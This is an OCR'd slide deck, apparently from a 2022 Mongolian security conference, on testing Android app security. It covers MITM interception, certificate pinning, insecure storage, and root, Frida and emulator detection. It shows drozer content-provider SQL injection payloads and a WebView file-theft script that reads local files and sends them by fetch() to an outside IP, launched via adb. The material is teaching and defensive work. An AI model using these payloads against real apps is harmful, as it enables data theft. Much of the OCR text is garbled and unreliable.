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Network communication
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Data storage
e Local authentication
e Platform APIs

Anti-Reversing defenses
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Network communication

Device Trust Store
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Network communication - MITM

-
7"y 10

y - Request to https://mnsec-app-test.mn:i443 [172.18.1.2

Intercept Is on Action

Forward Drop

Pretty Raw [

POST /login HTTP/1l.1

Host: mnsec—-app-test.mn
Content-Type: application/json;
Content-Length: 408
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.0
Connection: close

charset=UTF-8

e T oo o oy o~ - Py V],
s "Secretlsa”,
: "nasanbuvyvan”




Network communication — Pinning

Pin Certificate Authority (CA) Root
You only trust anything from this CA - substantially reduces attack surface.

Likely to be very long lived.
But pin may change if you move CA, or they use a new trust root.

Pin Intermediate
Most relevant if you have your own intermediate you sign from.

Allows common pinning, for faster rotated server specific certificates.

Pin Leaf
Specifically your certificate for your endpoint - most secure.

Most subject to rotation though.
Only do this if you're sure public key retained through rotations.
Beware of different certs for different geographic locations.




Network communication — Pinning

e 0o (] pubkey-pin-openss| — bash — ttys000
riemann: :pubkey-pin-openssl$ dumpasnl.exe random-org.der
@ 29@0: SEQUENCE {
4 13:  SEQUENCE {
6 9: OBJECT IDENTIFIER rsaEncryption (1 2 84@ 113549 1 1 1)
17 @: NULL
: }
19 271: BIT STRING, encapsulates {
24 266: SFOQUENCE {
28 257: INTEGER
: 2@ B3 S5E A8 AD AF 4C B6 DB 86 @6 8A 83 6F 3C 85
5A 54 5B 1F @C C8 AF B1 9E 38 21 3B AC 4D 55 C3
F2 F1 9D F6 DE E8 2E AD 67 F7 @A 99 @1 31 B6 BC
AC 1A 91 16 AC C8 83 86 2F @@ 59 31 99 DF 19 CE
@2 7C BE AA AE 8E 31 21 F7 F3 29 21 94 64 E6 57
2C BF 66 E8 E2 29 EA C2 99 2D D7 95 C4 F2 3D Fe
FE 72 B6 CE EF 45 7E BA ©B 90 29 61 9E @3 95 B8
60 98 51 84 9D D6 21 45 89 A2 CE BA 4F 7A 7D CC
: [ Another 129 bytes skipped ]
289 3: INTEGER 65537
¥
}

)

® warnings, @ errors.

0 out of 294 bytes

r & OO | ] random-org.der
® 6|pe sz o1 22 39 @D B B9 2A 56 45 66 F7 @D 61 A1 ||aC "8 *0HO"

16 |B1 B5 BA A3 82 A1 AF @A 30 82 A1 AA B2 82 A1 A1 o ag ¢
32 |BA B3 5E A3 AD AF 4C BA DB 86 86 84 83 6F 3C 85 || =r@=@Lo€U AEo<d
45 |5A 54 5B 1F BC CS AF B1 9E 35 21 3B AC 4D 55 C3| |ZT[ =@+G8!; MUy
64 |F2 F1 90 F& DE ES 2E AD 67 F7 84 99 A1 31 B6 BC | |00 fE.=g~ & 18¢
80 |AC 14 91 16 AC CS 83 86 2F 99 59 31 99 DF 19 CE| |~ & "»E0/ Y184
95 |@2 7C 8E AA AE SE 31 21 F7 F3 29 21 94 64 E6 &7 |&é™E&1 1“0 idEW
112 | 2C BF 66 ES E2 29 EA C2 99 2D D7 95 C4 F2 3D Fa || ,pfE, [ 0-4ifl=¢
125 |FE 72 B6 CE EF 45 7E BA BB 98 29 61 9E 83 95 B3 | | r2EQE~[ &)ad i
144 |68 95 51 84 9D D6 21 45 89 AZ CE BA 4F 74 70 CC || *oQfU=|EadE[0z 1A
168 |EB 74 B2 A6 B6 BC 27 C6 93 17 BD 74 B2 13 5F 5a | [fz=qa 'Af Dzz _P
176 |C6 31 7E 5D BF B9 D1 E5 59 36 E4 18 9B 76 91 14 | | Al~]@n-AY6% Of&
192 | 5@ C7 46 FE @D 5D B7 16 5B 6B 23 AD A7 78 6B 00 | |P<F, ] [k#=Bp
265 |33 23 8C 85 84 D1 79 AS 24 59 C4 71 80 19 C1 11 | |3#ADa-v@$y¥fgd |
224 |B4 EF 76 ES 3E 59 72 E@ 6C A6 SA 11 24 86 DA 338 | |20{d=Yrilqa $ /8
240 |CF 68 D2 F4 FD A4 D1 CD 52 F1 DA 9F D6 18 4D 91 | | e %0 "S-0RD U+ Mé
256 | A3 44 55 CD 7B 32 8B @2 52 53 20 A3 52 53 14 76 | |£DUD{24 RS £RS J
272 |EA B7 A5 BC 86 @9 66 DC 84 F1 @D 72 3C E7 EE D& | |$Eet0 f <f0 r<i0®
288 |43 B2 83 A1 @9 A1 C

Unsigned Int - ' big (select some data) -



Network communication — Pinning
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Network communication — Webview

String url =
webView.setWebViewClient( WebViewClient() {
Jverride

(WebView view, SslErrorHandler handler, SslError error) {
SslCertificate sslCertificate = error.getCertificate()
Certificate cert = sslCertificate.getX509Certificate()
(cert != && certificate != ) {
{
6‘t3‘v.::-]-il Cr\/‘/
} NoSuchAlgorithmException InvalidKeyException NoSuchProviderException SignatureException e)
LError(view, handler, error)
-
J
- -
J L
onRecelvedSslError(view, handler, error)




Authentication

MNSEC-2022

« Best practices for Passwords
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Authentication

n . ey =
@ () https://api.pwnec

° BeSt pra Ct|CeS for Pa SSWO rds @O264AREA456B57A3FC7258B13F3D2983C0:

00294015E5A8513C72396D183@9F2FFF34A:
205656(CS35B06C7346338A1473281F2A791:
P07279@35BE63272(C81B84BD3B@7D25D7ES::
P0791B26EBOE2F2C108CCS538F771A640A6F :
@OACT78B77B4CE46A26322C186E220B15E91 :
@OBOF22DFBB3978(C64702D4DDAAR2S5T7RAS :
@OD3F2@21FF48F731AA4713B219D46BF@202:
210B55ACCE243B3AAB5FCEO3ACBEBS7FFAS:
@11F0985FD72D213677D18CDCD4DOSEGRGEA:
21B49B84B387217(CC0AGOFE8640F63442D156:
©246BDRD56215A36EDC39171638BEBDASFE3:
©2A4E38B06CD1DAS22@48DD15257A584578:
©32E6989812E96C260894A1FFFGBED773EBF:
©363BABE2E41C7A2D7C4ES58D392BBEL1SEEBS::
©36B18487D9B1BRE334B31508912ABCT7F@8:
©36E70D041244E78CC1F943S7CEVEF36DCeR:
@3ECD73@2EDCS71DSF2D43848F245743D9E:
R4339FABT7AO77DOS5ERL3DAF326BB2A4298 :
24D07D84D6474B686D5SDDSFSC72A729C43C:
@51CDB44536ABRSFCE8F3648731DBE7SESCF:
©54555AR72E6C52256D15651C2A6662DDES :
a94a8 fe5cc b19bab1c4c0873d391€987982fbbd3  eserimeaseomesssroasseorsceasrc:
@5SAA32A1IF74FDI1GE7S87DADIEFG1AZSOC2CTL:
@5ED3B82BC639347(C15@9ESFACB4AA2D4AFD:
@6A1A3683C2CF4CSES1415A1272857D216D:
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Data Storage

 Shared Preferences
« SQLite Databases

Firebase Databases

Realm Databases

Internal Storage

External Storage

Keystore



Data Storage — shared_prefs

SharedPr

SharedPr
myEdit.putString(
myEdit.putString(
myEdit.commit() ;

generic_x86 arm:/data/data/com.example.mnsec2022/shared prefs # stat MySharedPref.xml
File: “MySharedPref.xml'
Size: 165 Blocks: 8 I0 Blocks: 512 regular file
Nevice: fcA1h/AA4513d Tnade: 22AQ7 | inks - 1
Access: (660/-rw-rw----) Uid: (10087/ ub _a87) Gid: (10087/ u0_a87)
ACCESS: ZUZZ-u9Y-30 19Yi3Z70Y.5bZ000000
Modify: 2022-09-30 19:32:09.562000000
Change: 2022-09-30 19:32:09.572000000
generic_x86 arm:/data/data/com.example.mnsec2022/shared prefs # cat MySharedPref.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="password">secretl23</string>
<string name="username">nasanbuyan</string>
</ map>
generic_x86 arm:/data/data/com.example.mnsec2022/shared prefs # |}




Data Storage — Unencrypted SQlite

generic_x86 arm:/data/data/com.example.mnsec2022/databases # strings mnsec2022
SQL1ite format 3

qtableAccountsAccounts

CREATE TABLE Accounts(username TEXT,password TEXT)W

ctableandroid metadataandroid metadata

CREATE TABLE android metadata (locale TEXT)

en IS

nasanbuyansecret123

generic xs8b arm:/data/data/com.example.mnsec2022/databases # |}




Data Storage — KeyStore

user 0

user 1

user 2

Binder

Hardware

user 0 keystore

.masterkey
key 1
key 2

user 1 keystore

.masterkey

key 1

key 2

user 2 keystore

.masterkey

Files




Data Storage — KeyStore

catliol




I Data Storage — IPC (Content provid

er)
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I Data Storage — IPC (Content provider)

Activity or
Fragment

CursorLoader Content provider test

Medeellee oruulna uu

(N G GERLITE Data oruulah

Data harah

Data storage




Data Storage — IPC (Content provider)

drozer Console (v2.4.4)

dz> run app.provider.info -a com.example.mnsec2022

Package: com.example.mnsec2022

Authority: com.mnsec2022.user.provider

Read Permission: null
Write Permission: null
Content Provider: com.example.mnsec2022.ContentProvider_main
Multiprocess Allowed: False
Grant Uri Permissions: False

dz> run app.provider.query content://com.mnsec2022.user.provider/users --vertical
id 1

id
nasanbuyan

id 3
nuutsmedeelel




Data Storage — IPC (Content provider)

A7\ _run ann pﬂnw1don aquary content: //com mncac?2022 ucon nﬂnwﬁdoh/ucoﬂc __pnnﬁor+§nn = 5.
unrecognized token: "' FROM Users ORDER BY id" (code 1 SQLITE _ERROR): , while compiling: SELECT ' FROM Users ORDER BY id
dz >
dz> run app.provider.query content://com.mnsec2022.user.provider/users --projection "* FROM SQLITE MASTER WHERE type='table’;--"
| type | name | tbl name | rootpage | sql
table | android metadata | android _metadata CREATE TABLE android _metadata (locale TEXT)

| | | ! !
| table | Users | Users | 4 | CREATE TABLE Users (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT N
| table | sgqlite sequence | sglite sequence | 5 | CREATE TABLE sqglite sequence(name,seq)

d7> run_apn.nprovider.auery _content://com.mnsec2022.user.provider/users --projection "* FROM Users;--"
| id | name |
| 1 | aaaa |
| 2 | nasanbuyan |
| 3 | nuutsmedeelel |

<provider
:name
:avthorities
:enabled
:exported

:protectionlLevel=""></provider>




Data Storage — IPC (Content provider)

Z> run app.provider.query content://com.mnsec2022.user.provider/users --vertical
Permission Denial: opening provider com.example.mnsec20622.ContentProvider main from ProcessRecc

<provider
:name
:authorities
enabled

" 2721 & ~
exported

:protectionlLev ></provider>



Data Storage — IPC (Content provider)

Android Permissions
Protection Levels

Huseyin Ozkog Medium

T i B S

NORMAL SIGNATURE DANGEROUS
PERMISSIONS PERMISSIONS PERMISSIONS




Data Storage — Memory
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Data Storage — Memory

Mutable objects

* Bytel]

e Char(]
Immutable objects

« String

« BigInteger



Platform APIs — Webview Exploit

<activity

<activity
<activity
<ilntent-filter>
<action

<category
</intent-filter>
< / a C t l '|_v' l t \’l' ="

</application>



Platform APIs — Webview Exploit

loadWebView()
webView findViewB
setWebChromeClient(
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Platform APIs — Webview Exploit

adb shell am start -n com.tmh.vulnwebview/.RegistrationwWebView —es reg url "https://haruulzangi.mn/
.vulnwebview/.RegistrationWebView (has extras) }

Registration page




Platform APIs — Webview Exploit

loadWebView() {
webView = findViewByl
.setWebChromeClient(

webView.s

webView.getSettings().setAllowUniversal

webView. ~ 1ngs(). JavaScriptEnabled(
getIntent().getExtras Boolean(

v b

LAY ¥




Platform APIs — Webview Exploit

<script>
var url = 'file:
function load(url) {
var xhr = XMLHttpRequest();
xhr.onreadystatechange = function() {
fetch('https://172.18.1.217
xhr.open( 'GET', url, true);
xhr.send('');
load(url)
</script>

adb push /mnt/d/MNCERT/2022/file_theft.html /sdcard/
tml: 1 file pushed. 0.1 MB/s (368 bytes in 0.004s)

adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView —es reg url "file:///sdcard/file_theft.html"
.vulnwebview/.RegistrationwebVview (has extras) }




Platform APIs — Webview Exploit

WebChromeClient())

lebViewClient())




Platform APIs — Webview Exploit

adb shell am start -n com.tmh.vulnwebview/.SupportWebView —es support url http:

The page at "http://172.18.1.217"
says:

test




Code quality and build settings

» Debuggable — false
» Verbose error logging

« Exception handling



IAnti—Reversing defenses — Root detection
. Root==God




Anti-Reversing defenses — Root detection




IAnti—Reversing defenses — Root detection

Android Device Client Server
Client App Client Backend
_ °
« ctsProfileMatch

o o
Google Play servicesTlo Google

 basiclntegrity

SafetyNet Attestation API
Attestation API ° Backend



Anti-Reversing defenses — Root detection

/system/app/Superuser.apk
/system/etc/init.d/99SuperSUDaemon
/dev/com.koushikdutta.superuser.daemon/
/system/xbin/daemonsu

/sbin/su
/system/bin/su
/system/bin/failsafe/su
/system/xbin/su
/system/xbin/busybox
/system/sd/xbin/su
/data/local/su
/data/local/xbin/su
/data/local/bin/su



Reverse engineering tools detection

Inject frida-agent to memory of app — rooted devices

bullhead:/ # cat /proc/18370/maps | grep -1 frida

71bbbd6000-71b7d62000 r-xp /data/local/tmp/re.frida.server/frida-agent-64.so
71b7d7f000-71b7e06000 r--p /data/local/tmp/re.frida.server/frida-agent-64.so
71b7e06000-71b7e28000 rw-p /data/local/tmp/re.frida.server/frida-agent-64.so

frida-gadget — non rooted devices

bullhead:/ # cat /proc/18370/maps | grep -i frida

71b865a000-71b97f1000 r-xp /data/app/sg.vp.owasp mobile.omtg android-.../lib/armb64/1libfrida-gadget.so
71b9802000-71b988ab00 r--p /data/app/sg.vp.owasp mobile.omtg android-.../lib/arm64/1libfrida-gadget.so
71b988a000-71b98acO00 rw-p /data/app/sg.vp.owasp mobile.omtg android-.../lib/armb64/1libfrida-gadget.so



Bypassing reverse engineering tools detection

Checking App signature

Check the envimorment for related artifacts
Checking for open tcp ports

Checking for ports responding to d-bus auth
Scanning process memory for know artifacts



Emulator detection

API Method

Build.
BUILD.
Build.
Build.
Build.
Build.
Build.
Build.
Build.
Build.
Build.
Build.
Build.
Build.
Build.

ABI

ABI2

BOARD

Brand
DEVICE
FINGERPRINT
Hardware
Host

ID
MANUFACTURER
MODEL
PRODUCT
RADIO
SERIAL

USER

Value
armeabi
unknown
unknown
generic
generic
generic
goldfish
android-test
FRF9I1
unknown

sdk

sdk

unknown

null
android-build

Meaning

possibly
possibly
emulator
emulator
emulator
emulator
emulator
possibly
emulator
emulator
emulator
emulator
possibly
emulator
emulator

emulator
emulator

emulator

emulator



bfuscation — R8 compiler

( "'t ""f:( -t Proaql arar
5‘ - 4 v Lb"_’ 4 ~ .




IObfuscation - Jadx

public static a b(int 14) {

float pow;

1 1Var = 1.f33k;

float z4 = a2.d.z(Color.red(14));
float z5 = a2.d.z(Color.green(14));
float z6 = a2.d.z(Color.blue(14));

float[]1[] fArr = a2.d.f52k;
float[] fArr2 = {(fArr[0]l[2] * z6) + (fArr[0][1] * z5) + (fArr[0]l[0] * z4), (fArr[1][2] * z6) + (fArr[1][1] * z5) + (fArr[1][0] * z4), (z6 * fArr[2][2]) + (25 * fArr[2][1])
float[][] fArr3 = a2.d.f4sh;

float f5 = (farr2[2] * fArr3[0][2]) + (fArr2[1] * fArr3[0][1]) + (fArr2[0] * farr3[0][0]);
float f6 = (farr2[2] * fArr3[1]1[2]) + (fArr2[1] * fArr3[1]1[1]) + (fArr2[0] * fArr3[1][0]);
float f7 = fArr2[0] * fArr3[2][0];
float f8 = fArr2(2] * fArr3[2][2];

float[] fArr4 = 1var.f40g;

float f9 = fArr4[o] * f5;

float f10 = fArr4[1] * fs6;

float f11 = fArra[2] * (f8 + (fArr2[1] * fArr3[2][1]) + f7);

float pow2 = (float) Math.pow((Math.abs(f9) * ivar.f4lh) ; 100.0d, 0.42d);
float pow3 = (float) Math.pow((Math.abs(f10) * ivar.f4lh) / 100.0d, 0.42d);
float powd = (float) Math.pow((Math.abs(f11l) * ivar.f4lh) ; 100.0d, 0.42d);
float signum = ((Math.signum(f9) * 400.0f) * pow2) / (pow2 + 27.13f);

float signum2 = ((Math.signum(f10) * 400.0f) * pow3) / (pow3 + 27.13f);
float signum3 = ((Math.signum(f11) * 400.0f) * powd) / (powd + 27.13f);

double d5 = signum3;

float f12 = ((float) (((signum2 * (-12.0d)) + (signum * 11.0d)) + d35)) / 11.0f;
float f13 = ((float) ((signum + signum2) - (dS * 2.0d))) / 9.0f;

float f14 = signum2 * 20.0f;

float f15 = ((21.0f * signum3) + ((signum * 20.0f) + f14)) / 20.0f;

float f16 = (((signum * 40.0f) + f14) + signum3) / 20.0f;
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